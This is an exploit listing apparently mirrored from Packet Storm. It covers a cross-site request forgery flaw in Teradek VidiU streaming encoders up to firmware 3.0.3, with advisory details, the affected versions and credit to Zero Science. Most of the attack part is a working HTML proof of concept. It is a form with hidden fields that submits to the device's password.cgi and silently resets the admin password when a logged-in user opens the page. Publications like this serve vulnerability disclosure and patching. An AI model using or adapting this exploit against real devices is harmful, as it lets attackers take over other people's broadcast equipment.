Teradek VidiU Pro 3.0.3 Change Password Cross Site Request Forgery

🗓️ 21 May 2018 00:00:00Reported by LiquidWormType

packetstorm🔗 packetstormsecurity.com👁 25 Views

Teradek VidiU Pro 3.0.3 CSRF Change Password Exploi

`<!--  
  
Teradek VidiU Pro 3.0.3 CSRF Change Password Exploit  
  
  
Vendor: Teradek, LLC  
Product web page: https://www.teradek.com  
Affected version: VidiU, VidiU Mini, VidiU Pro  
3.0.3 (build 32136)  
3.0.2 (build 31225)  
2.4.10  
  
Summary: The Teradek VidiU gives you the freedom to broadcast live  
high definition video directly to the Web without a PC. Whether you're  
streaming out of a video switcher or wirelessly from your camera,  
VidiU allows you to go live when you want, where you want. VidiU  
offers API level integration with the Ustream, YouTube Live and  
Livestream platforms, which makes streaming to your channel as  
easy as logging into your account.  
  
Desc: The application interface allows users to perform certain  
actions via HTTP requests without performing any validity checks  
to verify the requests. This can be exploited to perform certain  
actions with administrative privileges if a logged-in user visits  
a malicious web site.  
  
Tested on: lighttpd/1.4.48  
lighttpd/1.4.31  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2018-5460  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5460.php  
  
  
02.03.2018  
  
-->  
  
  
<html>  
<body>  
<form action="http://127.0.0.1:8090/cgi-bin/password.cgi">  
<input type="hidden" name="pw1" value="P@ssw0rd" />  
<input type="hidden" name="pw2" value="P@ssw0rd" />  
<input type="hidden" name="user" value="admin" />  
<input type="submit" value="Initiate" />  
</form>  
</body>  
</html>  
`

21 May 2018 00:00Current

0.3Low risk

Vulners AI Score0.3